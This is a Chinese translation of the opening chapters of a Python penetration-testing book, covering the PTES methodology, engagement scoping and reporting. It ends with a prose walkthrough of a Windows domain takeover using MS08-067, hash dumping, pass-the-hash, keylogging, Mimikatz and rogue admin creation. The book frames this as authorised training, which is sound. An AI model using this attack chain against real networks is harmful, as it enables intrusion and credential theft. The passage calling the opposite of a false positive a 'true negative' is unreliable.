原文:
annas-archive.org/md5/A1D2E8B20998DD2DB89039EE037E2EAD
译者:飞龙
前言
欢迎阅读《用 Python 学习渗透测试》。本书采用了一种完全不同的方法来教授渗透测试和 Python 脚本编写,而不是强调如何创建与市场上当前工具相同的脚本,或者强调可以编写的特定类型的利用。我们将探讨如何进行参与,并了解脚本如何适用于评估以及当前工具满足需求的地方。这种方法将教会你不仅如何从编写入门脚本到多线程攻击工具,还将教会你如何像专业人士一样评估组织,而不管你的经验水平如何。
本书涵盖的内容
第一章,“理解渗透测试方法论”,强调了评估者用来评估组织安全策略抵抗力的具体策略、技术和程序。它还涵盖了模拟恶意行为者和常用工具。
第二章,“Python 脚本的基础知识”,帮助转型程序员和新评估者掌握 Python 语言的技能,最终编写有用的评估者脚本。
第三章,“使用 Nmap、Scapy 和 Python 识别目标”,建立了基础网络数据包和协议知识,然后直接转化为编写利用 Nmap 和 Scapy 库自动化目标识别的 Python 脚本。
第四章,“用 Python 执行凭证攻击”,展示了攻击者获得资源初始访问权限的最常见方式,而不是钓鱼。它侧重于准确瞄准组织的行业领先实践。
第五章,“用 Python 利用服务”,介绍了如何识别利用以获得初始访问权限,如何研究后利用技术以获得特权访问权限,以及如何利用自动化脚本访问其他系统。
第六章,“用 Python 评估 Web 应用程序”,是围绕自动分析 Web 应用程序弱点的技术的高潮。这是 Python 可以用来改进复杂应用程序评估的地方,使用了链式技术。
第七章,“用 Python 破解周界”,强调了一些真实恶意行为者和评估者都使用的常见技术,以获取对组织半受信任和受信任网络的访问权限。这是使用包括 Python 在内的工具和技术,并依赖于当前行业实践。
第八章,“用 Python、Metasploit 和 Immunity 进行利用开发”,强调了评估者如何研究、编写和更新基本利用和 Metasploit 模块,以捕获在相关系统上使用开发不良、过时或不受支持的软件的风险。
第九章,“用 Python 自动化报告和任务”,强调了评估者需要尽可能节省评估时间,通过创建 Python 脚本自动化安全工具结果和输出的分析,包括可扩展标记语言(XML),以提供可用的报告格式。
第十章,为 Python 工具添加永久性,是最后一章。它介绍了您如何更新脚本以利用高级功能,例如日志记录、多线程和多进程,以创建行业标准的工具。
您需要为此书做好准备的东西
您最需要的是学习的意愿和提高能力的动力。为了支持这些,您需要一个能够支持多个虚拟机(VM)的系统,这些虚拟机在行业标准的虚拟化程序中运行,例如 VMware Workstation(最新版本)或 Virtual Box。首选解决方案是在最新版本的 Windows 上运行 VMware Workstation,例如 Windows 7。需要互联网连接,以便您下载必要的支持库和软件包。每个详细的软件包和库将在每章的开头列出。
这本书适合谁
如果您是一名具有不同操作系统知识和渗透测试概念的安全专业人员或研究人员,并且希望在 Python 方面扩展知识,那么这本书非常适合您。
约定
在本书中,您将找到一些区分不同信息类型的文本样式。以下是一些这些样式的示例及其含义的解释。
文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄显示如下:“我们可以通过使用include
指令包含其他上下文。”
代码块设置如下:
try:
import docx
from docx.shared import Inches
except:
sys.exit("[!] Install the docx writer library as root or through sudo: pip install python-docx")
任何命令行输入或输出都是这样写的:
echo TEST > my_wordlist
新术语和重要单词以粗体显示。例如,屏幕上看到的单词,例如菜单或对话框中的单词,会以这种形式出现在文本中:“我们通过Exploits Descending 的数量来组织漏洞,以找到可利用的漏洞。”
注意
警告或重要提示会出现在这样的框中。
提示
提示和技巧会以这种形式出现。
第一章:理解渗透测试方法论
在急于行动之前,在本章中,我们将实际定义渗透测试是什么,以及不是什么,渗透测试执行标准(PTES)是什么,以及将使用的工具。这些信息将作为未来参与的指南。本章将帮助指导新的评估人员和希望建立自己参与的组织。如果你想直接进入代码和细节,我建议跳到第二章,Python 脚本的基础。不过,我要提醒你,阅读本章的好处在于它将提供一个框架和思维模式,帮助你区分一个脚本小子和一个专业人士。所以,让我们从渗透测试是什么开始。
最重要的是,这些工具和技术只能在您拥有或获得运行这些工具的许可的环境中执行。永远不要在未经授权的环境中练习这些技术;请记住,未经许可进行渗透测试是非法的,你可能会因此入狱。
注意
要练习初始章节中列出的内容,请安装一个虚拟化套件,如 VMware Player (www.vmware.com/products/player
) 或 Oracle VirtualBox (www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html
)。创建当前版本的 Kali Linux (www.kali.org/downloads/
)、Samurai Web Testing Framework (samurai.inguardians.com/
)和 Metasploitable (www.offensive-security.com/metasploit-unleashed/Requirements
)的虚拟机(VM)。您可以使用 Kali 系统中的 Metasploitable 盒子对这些进行测试。提供的最后一个链接中有许多与这些工具相关的教程和配置说明;如果每章需要额外的工具,它们将在那里进行突出显示。
渗透测试概述
对于渗透测试的概念存在着巨大的误解。即使是最近进入该领域的专业人士也普遍存在这种误解。新的渗透测试人员或要求进行渗透测试的专业人士经常说,这些测试证明了漏洞的可利用性,环境易受攻击的程度,或者只是漏洞的存在。这种误解会在项目的范围、来源和执行中产生实际影响。此外,这种错误的看法包括认为渗透测试将找到所有的漏洞,每次都能找到未知的零日漏洞,而且无论采取了什么控制措施,所有目标都将始终得到满足。
渗透测试是评估组织的安全策略保护关键数据免受恶意行为者行为影响的实践。安全策略是组织的全面信息安全计划。它侧重于维护组织关键数据和资源的机密性、完整性和可用性。这是通过使用人员、流程和技术的组合来将风险降低到可接受的水平。渗透测试的第一种和第二种定义之间的区别是天壤之别。
第一个定义仅关注漏洞;这意味着人们期望评估者将执行的活动与利用或发现漏洞或简单的配置错误有关。它没有考虑到组织可能存在的与政策、流程或不安全关系相关的不良做法。这些先入为主的观念经常对组织和新评估者都产生重大影响。
组织领导不会制定与突破与关键数据存储库相关的访问控制或识别关键数据位置相关的目标。最初还会有一种信念,即入侵保护系统(IPS)和入侵检测系统(IDS)是防止妥协的关键;所有经验丰富的评估者都知道这不是真的。此外,评估可能没有以提供现实结果的方式进行范围界定。这种误解最具破坏性的结果是,组织可能无法确定评估者是否缺乏执行所需的参与所必需的技能。
注意
同样,新的评估者错误地认为漏洞管理解决方案(VMS)如 Nexpose、Nessus、Qualys 或其他解决方案将识别进入环境的途径。这些工具可能会突出系统的入侵途径,但误报率和真负率很高。误报是指将某物标识为有漏洞,但实际上并没有。误报的相反是真负,这意味着将某物标识为安全,但实际上是有漏洞的。
如果漏洞不在数据库中,则系统将无法识别可能授予访问权限的漏洞。VMS 不会突出与不良做法或流程相关的链接攻击,这将被归类为弱点或漏洞。使用这些工具进行渗透测试会使它们变得非常嘈杂,并鼓励评估者模拟相对过时的攻击。
大多数恶意行为者利用最容易的路径,通常与著名的 MS08-067 或 MS06-40 等远程代码利用无关。相反,评估者应该退一步,寻找可能提供不被注意的访问权限的不安全关联和配置。大多数资深评估者在渗透测试期间不使用 VMS 工具,而是专注于手动评估环境。
许多这些误解直接与其他类型的参与相关。这来自其他安全评估被宣传为渗透测试,或者来自人们运行或接收这些参与的结果。在接下来的部分中,列举了一些经常被误认为是渗透测试的评估样本。这应该足以突出实际渗透测试与其他安全评估和活动之间的差异。
了解渗透测试的本质
其他类型的评估和活动经常被宣传或误认为是渗透测试。这些类型的参与包括漏洞评估、大规模逆向工程项目和黑客攻击。让我们依次讨论每一种,以便了解渗透测试的定位。
漏洞评估
漏洞评估(VA)使用 VMS 扫描漏洞。好的 VA 然后使用评估者消除误报,之后可以根据业务影响和利用可能性调整发现的实际风险评级。通常安全顾问或渗透测试人员执行这些评估,这可能需要实际利用这些漏洞来进行概念验证。这种类型的评估非常适合展示组织在执行修补和部署资产时的表现。关键在于这些类型的评估不是专注于从恶意行为者的角度获取对关键数据的访问权限,而是与发现漏洞相关。
逆向工程参与
逆向可能是渗透测试的一部分,但在今天比过去要少得多。第八章,“使用 Python、Metasploit 和 Immunity 进行利用开发”,将更详细地讨论这一点,因为这里将描述实际的利用开发。当前的渗透测试可能包括利用开发,但这是为了创建与自制代码相关的概念验证,并获取对可能存储数据的关键系统的访问权限。
相比之下,在大规模的逆向工程参与中,评估者试图证明应用程序整体易受逆向工程的影响,以及与源代码、编译和相关库相关的弱点。这些类型的参与更适合逆向工程师,他们花时间识别常见的攻击链和方法来破坏应用程序,而不是获取对关键数据的访问权限。在这个特定领域的经验水平是广泛的。通常,许多评估者从渗透测试转向这种特定的技能集,他们全职从事逆向工程。
黑客
黑客不是评估,而是直接利用可利用的漏洞;它可能与恶意活动有关,也可能是为了研究而进行。黑客的目的不是获取对关键数据的访问权限,而是纯粹破解漏洞。黑客有许多定义,通常与渗透测试直接相关,但与黑客相关的目标没有具体或明确的目标。现在已经勾勒出了渗透测试和其他活动之间的一些重大区别,可以突出实现目标的方法论。
评估方法学
与渗透测试相关的评估方法有多种。一些方法学的例子包括开放源代码安全测试方法手册(OSSTMM)、用于 Web 评估的开放 Web 应用安全项目(OWASP)、国家标准与技术研究所(NIST)的特别出版物 800-115 技术指南信息安全测试和评估,以及 PTES。我们在本书中将专注于的方法学是 PTES,因为它是新评估者的可靠资源。
渗透测试执行标准
PTES 有七个不同的阶段,即预交互、情报收集、威胁建模、漏洞分析、利用、后利用和报告。每次参与都会在某种程度上遵循这些阶段,但经验丰富的评估者将会顺利且相对无缝地从一个阶段过渡到下一个。使用方法学的最大好处是允许评估者全面和一致地评估环境。一致性评估意味着几件事情:
-
评估者不太可能错过重大漏洞
-
它可以减轻导致评估者花费过多时间集中在不会推动参与前进的区域的隧道视野
-
这意味着无论客户或环境如何,评估者都不会带着成见去参与
-
评估者每次都会提供相同水平的能力给一个环境
-
每次客户都会收到高质量的产品,评估者错过细节的机会很少
所有方法或框架都提供这些好处,但是 PTES 像 OWASP 一样,对于新的评估者有额外的好处。在 PTES 中,有许多技术指南与评估者可能遇到的不同环境相关。在这些技术指南中,有关于如何使用行业标准工具来处理和评估环境的建议。
需要注意的是,技术指南不是操作手册;它们不会为评估者提供从头到尾执行参与的手段。只有经验和对环境的接触才能为评估者提供处理他/她遇到的大多数情况的手段。应该指出,没有两个环境是相同的;每个组织、公司或企业都有细微差别。这些差异意味着即使是非常有经验的评估者也会遇到困难的时刻。当标准的利用方式不起作用时,测试人员可能会有局限性;坚持方法论将防止这种情况发生。
在高度安全的环境中,评估者通常需要变得有创意,并链接利用来实现设定的目标。我的一位老队友曾经优雅地定义了创意和复杂的利用方式:“它们是渗透测试人员绝望的表现。”这个幽默的类比也突出了评估者何时会提升自己的技能。
评估者如何知道何时需要执行这些复杂的利用方式,是通过知道所有简单的方法都失败了;正如真正的攻击者会选择最不费力的路径,评估者也应该如此。只有在这种情况下失败时,评估者才应该开始提升必要的技能水平。作为评估者,你正在评估一个环境抵抗恶意行为的能力。
这些保护措施就像建筑中的砖块,随着时间的推移而建立,形成了一种安全的姿态。就像美式橄榄球一样,如果一个组织没有掌握强大防御的基本组成部分,它就无法抵御花招。因此,我们作为评估者应该从底层开始,逐步解决问题。
这并不意味着一旦找到一条路径,评估者就应该停下来;他/她应该确定关键数据位置,并证明这些数据可以被破坏。评估者还应该指出真正的攻击者可能采取的其他路径来达到关键数据。能够识别与破坏关键数据相关的多条路径和方法,再次需要一种系统的方法。七个阶段是控制参与流程的一个例子。
预先交互
PTES 的第一个阶段是所有预参与工作,毫无疑问,这是一个顺利和成功参与的最重要阶段。在这个阶段采取任何捷径或过快完成这个阶段都会对评估的其余部分产生重大影响。这个阶段通常是由一个组织创建一个评估请求开始的。通常请求的评估示例可以分为以下几个广泛的类别:
-
网络应用程序
-
内部网络
-
外部网络
-
物理
-
社会工程电话
-
网络钓鱼
-
网络电话(VOIP)
-
无线
-
移动应用程序
组织可能会联系评估员目录或提供招标文件(RFP),其中详细说明了环境类型、所需评估和所期望交付的内容。根据这份招标文件,多家评估公司或个人有限责任公司(LLC)将对与环境详细信息相关的工作进行竞标。通常,最符合所请求工作、价格、相关范围、时间表和能力的投标方将赢得该工作。
工作声明(SOW)通常是参与函(EL)或合同的一部分,其中详细说明将要执行的工作和最终产品,同时包含所有必要的法律细节。一旦签署了 EL,就可以开始对范围进行微调。通常,这些讨论是评估团队第一次遇到范围蔓延。这是客户可能试图添加或扩展承诺的工作水平以获得比承诺支付更多的情况。这通常不是故意的,但在罕见情况下,这是由于招标文件的撰写者、评估员提出的问题的答复以及最终的 EL 或 SOW 之间的沟通不畅。
通常,可以批准对工作进行小的调整或延伸,但较大的要求会被推迟,因为这可能被视为无偿工作。然后,最终范围将被记录下来,用于将要执行的参与部分。有时,单个 EL 将涵盖多个参与部分,并且可能需要进行多次后续讨论。在这个阶段要记住的重要事情是,作为评估员,你正在与客户合作,我们应该乐于助人,灵活地帮助客户实现其目标。
除了在初始参与范围界定期间产生的范围蔓延外,在执行参与过程中通常还存在客户增加范围的机会。这通常是客户在测试开始后要求工作延期或额外资源测试。对范围的任何修改不仅应该经过仔细考虑,因为涉及资源和时间,还应该以某种书面形式完成,例如电子邮件、签署和授权的信函,或其他不可否认的请求确认。
最重要的是,任何范围调整都应由有权做出此类决定的人员完成。这些考虑都是为了保持参与的合法性和安全性。签署这些文件的人必须了解与满足截止日期、评估特定环境和使利益相关者满意相关的风险。
在这个特定阶段定义了参与的目标,以及可能需要其他方面批准的审批。如果公司将其环境托管在云提供商基础设施或其他共享资源上,则还需要从该组织获得批准。通常,批准活动的所有方通常需要测试的开始和结束日期,以及源互联网协议(IP)地址,以便他们可以验证活动并非真正恶意。
评估开始时必须确定的其他事项是正常报告评估和紧急情况的联系人。如果评估员的活动被认为已经使某个资源下线,评估员需要立即与联系人跟进。此外,如果发现了关键漏洞,或者认为某个资源已经被真正的恶意行为者入侵,评估员应尽可能立即联系主要联系人,如果不行,则联系紧急联系人。
这种联系应该在评估者捕获了必要的概念证明后进行,以表明资源可能已经被入侵或存在关键漏洞。在联系之前完成概念证明的原因是,报告这些问题通常意味着资源被下线。一旦资源下线,评估者可能无法跟进并证明他/她在最终报告中所做的陈述。
注意
概念证明通常是特定数据类型、事件序列、暴露、利用或妥协的屏幕截图。
除了报告意外和关键事件外,还应安排定期状态会议。这可以是每周、每天,或更频繁或更少频繁,具体取决于客户的要求。状态会议应涵盖评估者已经完成的工作、计划要做的工作以及可能影响最终报告交付的时间表上的任何偏差。
与产品和最终报告交付相关的是,必须有一种安全的方法来交付参与的详细信息。平衡来自以下因素,即客户的能力和知识水平、评估团队可用的解决方案、数据可以做到多安全以及客户的能力和要求。最好的两个选择是安全交付服务器或Pretty Good Privacy(PGP)加密。有时,这些选项不可用,或者其中一方无法实施或使用它们。在这一点上,应确定其他形式的数据保护。
这里有一个重要的警告,即受密码保护的文档、便携式文档格式和 zip 文件通常没有强大的加密形式,但它们总比没有好。这些仍然需要密码来回传以打开数据。密码应尽可能通过其他方法或与实际数据不同的渠道传输,例如,如果数据通过电子邮件发送,密码应通过电话、短信或信鸽提供。在后面的章节中,当我们讨论针对网络界面的密码喷洒攻击和突破外围的方法时,将突出与此相关的实际风险。预参与讨论的最后一部分涉及测试将如何进行:白盒、灰盒或黑盒。
白盒测试
白盒测试也被称为清晰盒测试或水晶盒测试。这个术语可以是这三者之一,但基本上意味着一个知情的攻击者或知情的内部人员。关于适当的术语有多种争论,但归根结底,这种类型的评估突出了与恶意内部人员或攻击者有关的风险,他们可以访问到显著暴露的信息。评估者提供了关于网络上的内容、运行方式甚至潜在弱点(如基础设施设计、IP 地址和子网)的详细信息。在极短的时间内,这种类型的评估非常有益。从完全暴露的信息或完全拉开帷幕的情况中退后一步是灰盒格式。
灰盒测试
遵循灰盒格式的评估者提供了基本信息。这包括目标、可接受测试的范围以及操作系统或嵌入式设备品牌。组织通常还会列出已经部署的入侵检测系统/入侵防御系统,以便如果评估者开始看到错误的结果,他/她可以确定原因。灰盒评估是最常见的评估类型,组织提供一些信息以提高结果的准确性并增加反馈的及时性;最终,这可能会降低参与成本。
黑盒测试
评估员将遇到的黑盒接触数量大致与白盒接触相同,它们是光谱的完全相反的一面。评估员除了要评估的组织之外,不会得到任何信息。评估员将从广泛的开源情报(OSINT)收集中识别资源。只有高级评估员才能执行这些类型的接触,因为他们必须确定目标在外部是活动的区域,并且在内部要保持极度安静。
目标始终在初始研究后由请求组织验证为经授权或拥有的,然后才进行外部评估的测试。黑盒测试通常是双盲测试的一部分,双盲测试也被称为不仅是对其环境进行测试,还是对组织的监控和事件响应能力的评估。
双盲测试
双盲测试通常是黑盒样式接触的一部分,但它也可以与灰盒和白盒接触一起进行。灰盒和白盒接触的关键在于,测试期间的控制、攻击向量和其他信息要比从防御团队保密困难得多。被视为双盲的接触必须在执行接触之前得到很好的建立,这应该包括事后讨论和验证检测到了什么具体活动以及应该检测到了什么。这些类型的接触的结果非常有助于确定防御团队的工具调整得有多好以及流程中的潜在漏洞。只有在组织具有成熟的安全姿态时,才应执行双盲测试。
情报收集
这是 PTES 的第二阶段,如果组织希望评估团队确定其外部暴露,这一点尤为重要。这在与外部边界测试相关的黑盒或灰盒接触中非常常见。在接触的这个阶段,评估员将使用诸如美国互联网编号注册处(ARIN)或其他地区注册处、信息库查询工具(如 WhoIs、Shodan、Robtex)、社交媒体网站以及 Recon-ng 和Google 黑客数据库(GHDB)等注册处。
除了外部评估,此阶段收集的数据非常适合用于建立社会工程和物理接触的档案。关于组织及其人员的发现的组件,将为评估员提供与员工互动的手段。这样做是希望员工会透露信息或以假借名义提取关键数据。对于技术接触,对工作网站、公司网站、地区博客和校园地图的研究可以帮助建立字典攻击的单词列表。特定的数据集,如当地的体育队、球员姓名、街道名称和公司首字母缩写,通常作为密码非常受欢迎。
注意
韦氏词典将“借口”定义为所谓的目的或动机,或者为了掩盖真正意图或事态而假装的外表。
像 Cewl 这样的工具可以用来从这些网站上提取单词,然后可以使用 John the Ripper 对数据进行排列,进行字符替换。这些列表对于针对登录界面的字典攻击或破解从组织中提取的哈希非常有用。
注意
排列在密码攻击和接口密码猜测攻击中非常常见。韦氏词典将“排列”定义为某物存在或可以排列的许多不同方式或形式之一。
对评估者有利的其他细节包括组织在招聘广告、员工 LinkedIn 个人资料、技术合作伙伴和最近的新闻文章中列出的技术。这将为评估者提供关于他/她可能遇到的资产类型和即将到来的主要升级的情报。这使得现场工作可以更有针对性,并且在执行之前可以进行更深入的研究。
威胁建模
PTES 的第三阶段是威胁建模,对于大多数参与来说,这个阶段被跳过了。威胁建模更常见地是作为一个单独的参与的一部分,用于列举组织可能面临的潜在威胁,基于多种因素。这些数据用于帮助建立案例研究,以识别真正的威胁,这些威胁会利用组织的漏洞转化为风险。通常,这些案例研究用于量化特定的渗透测试,以确定安全策略的坚定程度以及未被考虑的因素。
研究的组成部分扩展到标准情报收集之外,包括相关业务、业务模式、第三方、声誉和与见解性主题相关的新闻文章。除了已发现的内容外,总会有一些评估者无法确定的因素,这是由于时间、暴露和已记录的事实。威胁建模在很大程度上是理论性的,但它是基于发现的指标和市场上过去的事件。
当威胁建模作为渗透测试的一部分时,情报收集阶段和威胁建模阶段的细节被回溯到预参与阶段。确定的细节有助于建立一种参与并揭示评估者应该冒充的恶意行为者的类型。组织面临的常见威胁类型如下:
-
国家
-
有组织犯罪
-
黑客
-
脚本小子
-
骇客活动分子
-
内部人员(有意或无意)
在评估威胁时,始终要记住以下几点,这些威胁中的任何一种都可能是内部人员。只需一封钓鱼邮件,或者一个不满的员工公布凭据或访问,组织就可能会面临威胁。内部人员可能无意中提供访问权限的其他方式包括技术论坛、支持团队和博客。
技术和行政支持团队经常在博客、论坛和其他地方发布配置或设置以寻求帮助。每当这种情况发生时,内部数据就会暴露给外部,而且通常这些配置包含加密或未加密的凭据、访问控制或其他安全功能。
那么,这是否意味着每个组织都受到内部人员的威胁,而经验范围可能不仅限于实际内部人员?内部人员也是最难以减轻的威胁。大多数渗透测试不包括模拟内部人员的凭证。根据我的经验,只有具有成熟安全姿态的组织才会这样做。通常只有通过多种安全评估,包括通过渗透测试模拟多种威胁,才能达到这种状态。
大多数组织不支持内部凭证评估,除非他们经历了多次非凭证参与,发现已经得到了缓解。即使是这样,也只有那些有强烈愿望模拟真实威胁并得到董事会支持的组织才会这样做。除了内部人员,其他威胁可以通过查看多种因素来评估;过去事件的关联可以通过查看 Verizon 数据泄露调查报告(DBIR)找到一个例子。
Verizon DBIR 使用报告的妥协并汇总结果,按市场归因于最常见的事件类型。然而,这些信息应该放在上下文中,因为这只是针对被捕获或报告的事件。通常,被捕获的事件可能不是最初导致后续妥协的方式。
市场的威胁每年都在变化,因此,一年创建的报告的结果对于下一年的研究是没有用的。因此,任何对这些信息感兴趣的读者都应该从www.verizonenterprise.com/DBIR/
下载当前版本。此外,一定要选择基于其他相关信息和报告的额外研究来模拟哪个向量。基于单一形式的研究的假设执行评估是不专业的。
大多数时候,组织已经知道他们需要或想要什么类型的参与。这个阶段的互动和描述的研究通常是行业专家所要求的,而不是新的评估者。因此,如果你开始做这项工作时,看到很少有要求包括这个工作阶段的评估,至少最初不要感到惊讶。
漏洞分析
直到这个阶段,大多数,如果不是所有的研究都没有触及组织资源;相反,细节是从其他存储库中提取的。在 PTES 的第四阶段,评估者将要确定进一步研究测试的可行目标。这直接涉及端口扫描、横幅抓取、暴露的服务、系统和服务响应以及版本识别。这些项目虽然看似微小,但却是获取对组织的访问的支点。
从技术角度成为一名优秀的评估者的秘诀就在于这个阶段。原因是评估者大部分时间都在这里度过,特别是在职业生涯的早期。评估者研究暴露了什么,哪些漏洞是可行的,以及可以用什么方法来利用这些系统。花了多年时间做这个工作的评估者通常会在这个阶段加速,因为他们有经验找到目标攻击和获取访问的方法。不要被这个所迷惑,因为首先,他们通过经验花了很多年时间整理这些数据,其次,总会有情况,即使是一名优秀的评估者也会在这个阶段花费数小时,因为一个组织可能有独特或强化的姿态。
渗透测试的伟大秘密通常不会在电影、杂志和/或书籍中传达,即渗透测试主要是研究、磨砺和撰写报告。如果我必须估计一名优秀的新评估者在参与过程中花费的平均时间百分比,70%将用于研究或磨砺以找到适用的目标或可行的漏洞,15%用于与客户的沟通,10%用于撰写报告,5%用于利用。尽管如此,随着评估者获得更多经验,这些百分比会发生变化。
大多数失败或遭遇糟糕的评估者都是因为在各个阶段上推进,而不是执行有能力的研究。在这里花费所需的时间的好处是与利用相关的下一个阶段将非常迅速。评估者和恶意行为者都知道的一件事是,一旦在组织中占据了立足点,基本上就结束了。第三章使用 Nmap、Scapy 和 Python 识别目标详细介绍了在这个阶段完成的活动。
利用
第五阶段是利用阶段,这才是真正开始有趣的地方。大多数章节都集中在前一阶段的漏洞分析,或者这个阶段。这个阶段是所有之前工作的结果,实际上获得对系统的访问权限。获得系统访问权限的常见术语是 popped、shelled、cracked 或 exploited。当您听到或读到这些术语时,您就知道自己应该获得对系统的访问权限。
利用不仅仅意味着通过一段代码、远程利用、创建利用程序或绕过防病毒软件来访问系统。它也可能是直接使用默认或弱凭证登录系统。尽管许多新评估者认为这不太理想,但经验丰富的评估者会尝试找到通过本机协议和访问方式访问主机的方法。这是因为本机访问不太可能被检测到,而且它更接近恶意行为者可能正在执行的真实活动。
如果您是新手渗透测试人员,在利用过程中会有一些特定的时刻让您非常兴奋,这些通常被视为目标:
-
第一次获得 shell
-
第一次利用 OWASP 前 10 名漏洞
-
第一次编写自己的利用程序
-
第一次发现零日漏洞
这些所谓的目标通常是评估者经验的衡量标准,甚至在组织团队内部也是如此。在实现了这些首次利用目标之后,您将会努力提升自己的技能水平。
一旦您获得对系统的访问权限,您需要利用这种访问权限。在观察资深专业人员和新的评估者之间的区别时,不是利用,而是后期利用。原因在于初始访问并不能让您获得数据,而后续的枢轴和后期利用通常可以。
注意
枢轴是在评估过程中利用新位置来评估通常无法访问的资源的方法。大多数人将枢轴等同于在 Metasploit 中设置路由,但它也与从不同的受损设备攻击或评估资源有关。
后期利用
在所有阶段中,这是评估者花费时间的变化。新评估者通常在第四阶段或漏洞分析阶段花费更多时间,而经验丰富的评估者在这里花费了大量时间。第六阶段也被称为后期利用阶段;权限升级、寻找凭证、提取数据和枢轴都在这里完成。
这是评估者有机会通过证明所达到的访问级别、访问的关键数据的数量和类型,以及绕过的安全控制来证明对组织的风险。所有这些都是后期利用阶段的典型特征。
就像第五阶段一样,第六阶段有特定的事件通常是新评估者的目标。就像利用目标一样,一旦完成了这些后期利用目标,您将会追求在这个安全专业领域中更复杂的成就。
以下是新评估者和有能力的评估者之间的衡量标准的例子:
-
第一次在 Windows、Linux、Unix 或 Mac 操作系统上手动提升权限
-
第一次获得域管理员访问权限
-
第一次修改或生成 Metasploit 模块
后期利用阶段包括与提升权限、提取数据、配置文件、创建持久性、解析用户数据和配置以及清理相关的活动。在系统被访问后执行的所有活动,并转移到系统检查阶段都与后期利用有关。一旦评估结束,所达到的所有访问级别、访问的关键数据和绕过的安全控制都会在一份报告中得到突出显示。
报告
与渗透测试相关的最重要阶段不仅仅是 PTES,还有报告。在一天结束时,您的客户要求并支付的是一份报告。在参与结束时,他/她能拿到手的只有报告。报告也是将评估员在环境中确定的风险转化为语言的工具。
一份好的报告应包括一份针对首席套房人员和/或咨询委员会的执行摘要。它还应包括一个故事情节,解释在参与过程中所做的事情,实际的安全发现或弱点,以及组织已建立的积极控制。每个注意到的安全发现都应在可能的情况下包括一个概念验证。
概念验证就是这样;通过利用来证明存在安全状态的例外。因此,每个确定的发现都应包括与所进行的活动相关的屏幕截图,例如弱密码、被利用的系统和访问的关键数据。
与组织中确定的安全发现一样,任何积极的发现都需要被记录和描述。积极的发现有助于告诉组织实际上对模拟恶意行为产生了什么影响。它还告诉组织应该在哪里进行投资,因为报告和参与提供了它正在起作用的有形证据。
一个示例参与
以下部分突出了评估员如何在高层次上实现访问、提升权限,并可能获得对关键数据的访问。这个示例应该为本章和接下来的章节涵盖的工具提供背景。需要注意的是,PTES 的第四、五和六阶段,即漏洞分析、利用和后利用阶段,是重复的。这些阶段中的每一个都将在评估过程中执行。为了更好地突出这一点,以下情景是今天新评估员进行的非常常见的利用训练,显示了使用了哪些工具。这不是为了展示如何自行完成这些命令,而是为了突出阶段流程,以及每个阶段使用的工具可能是模糊的。
在进行评估时,评估员将识别漏洞,根据需要利用它们,然后在利用或后利用后提升权限并提取数据。有时,单个操作可能被视为漏洞分析和利用的组合,或利用和后利用阶段的活动。作为重复步骤的示例,评估员识别了一个 Windows XP 主机,并确定它是否存在漏洞 MS08-067,然后使用相关的 Metasploit 模块ms08_067
对其进行利用。评估员将提升权限,然后使用smart_hashdump
模块从被利用系统中提取哈希。然后,评估员将从提取的哈希中复制本地管理员哈希,该哈希与存储在pwdump
哈希格式中的安全标识符(SID)500 相关联。
评估员将扫描该区域的所有主机,并使用nmap
工具确定主机是否开放端口 445。这些可能是传递哈希(PtH)攻击的可行目标,但评估员必须确定这些主机是否具有相同的本地管理员密码。因此,评估员通过使用 Unix/Linux 工具 cat、grep 和 cut 解析输出,创建一个具有开放端口 445 的 IP 地址列表服务器消息块(SMB)通过 IP。有了这个列表,评估员使用SMB_login
Metasploit 模块对新创建的列表中的所有主机执行 SMB 登录,使用本地管理员哈希,并将域设置为WORKGROUP
。
每个响应成功登录的主机都将是 PtH 攻击的可行目标。 评估员必须找到具有新信息或关键数据的主机,这将有利于推进参与。 由于评估员通过 Windows XP 主机在网络上建立了立足点,他/她只需要找出域管理员是谁以及他们在哪里登录。
因此,他/她将使用enum_domain_group_users
Metasploit 模块从 Windows XP 主机所连接的域中查询域管理员组的成员。 评估员随后可以使用名为loggedin_users
的 community Metasploit 模块或名为psexec_loggedin_users
或enum_domain_users
的内置模块来确定域管理员登录的位置。 通过smb_login
模块从主机收到成功登录消息的主机将使用任一模块和相关域名进行测试。 在其中响应具有一个域管理员用户名的主机将是最佳的攻击位置。 评估员随后可以使用psexec
Metasploit 模块执行 PtH 攻击并在该主机上放置有效载荷。 这将使用相同的本地管理员哈希和域设置为WORKGROUP
进行。
一旦在该系统上建立了立足点,评估员就可以确定域管理员当前是否已登录到系统,或者过去是否曾登录过。 评估员可以查询系统并识别当前登录的用户,以及他们是否活跃。 如果用户当前在会话中活跃,评估员可以使用 Metasploit 设置键盘记录器,并使用 smartlocker 模块锁定屏幕。 过去,这曾被分解为多个模块,但今天,我们更加高效。 当用户解锁屏幕时,他/她将输入帐户的凭据,然后将其提供给评估员。
如果用户当前未活跃,评估员可以尝试使用 Mimikatz 等工具从内存中提取凭据,通过将该功能加载到 Meterpreter 会话中并运行wdigest
。 如果内存中没有凭据,评估员可以尝试通过加载 Incognito 工具到 Meterpreter 中并使用load incognito
命令窃取仍在内存中的缓存凭据的令牌来冒充用户。 利用这种访问权限,评估员随后可以在域上创建一个新用户,然后将该用户添加到域控制器上的域管理员组中。 为了确定适用的域控制器,评估员将 ping 域名,该域名将响应 DC 的 IP 地址。
最后,评估员可以使用add_user
命令和add_group_user
将其新的恶意用户添加到指向 DC IP 的域管理员组中。 这个域管理员可能会在网络周围提供额外的访问权限,或者具有创建和/或修改其他帐户的能力,并根据需要提供相关访问权限。 从这些步骤中可以看出,有多个重复的三个阶段的示例。 通过以下列表,了解每个活动如何适用于特定阶段:
-
识别 Windows XP 主机(漏洞分析)。
-
确定 Windows XP 主机是否容易受到 MS08-067 的攻击(漏洞分析)。
-
使用 Metasploit 的 MS08-067 漏洞攻击 Windows XP 主机(利用)。
-
从 Windows XP 主机中提取哈希(后期利用)。
-
扫描所有其他主机,以查找 SMB over IP 或端口 445(漏洞分析)。
-
使用本地管理员哈希执行 SMB 登录以识别易受攻击的主机(漏洞分析/利用)。
-
查询域控制器,以查找 Windows XP 系统上域管理员组的成员(后期利用)。
-
识别具有与 Windows XP 主机相同的本地管理员哈希的系统上已登录的用户,以确定域管理员的登录位置(利用/后期利用)。
-
对已登录的域管理员进行 PtH 攻击(利用)。
-
确定域管理员在该计算机上的活动状态(后期利用):
-
如果当前已登录,请设置键盘记录器(后期利用)
-
锁定屏幕(利用/后期利用)
-
如果凭据在内存中,请使用 Mimikatz 窃取它们,这是我们在下面介绍的一个工具(后期利用)
-
